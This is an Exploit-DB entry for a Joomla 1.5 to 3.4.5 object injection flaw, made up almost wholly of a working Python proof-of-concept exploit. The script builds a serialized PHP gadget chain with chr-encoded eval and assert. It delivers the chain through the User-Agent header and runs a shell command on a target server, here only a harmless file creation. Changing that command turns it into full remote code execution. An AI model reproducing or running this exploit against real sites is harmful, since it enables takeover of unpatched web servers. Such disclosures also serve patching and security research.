Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution

EDB-ID:

38977

Author:

Sec-1

Type:

webapps

Platform:

PHP

Published:

2015-12-15

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)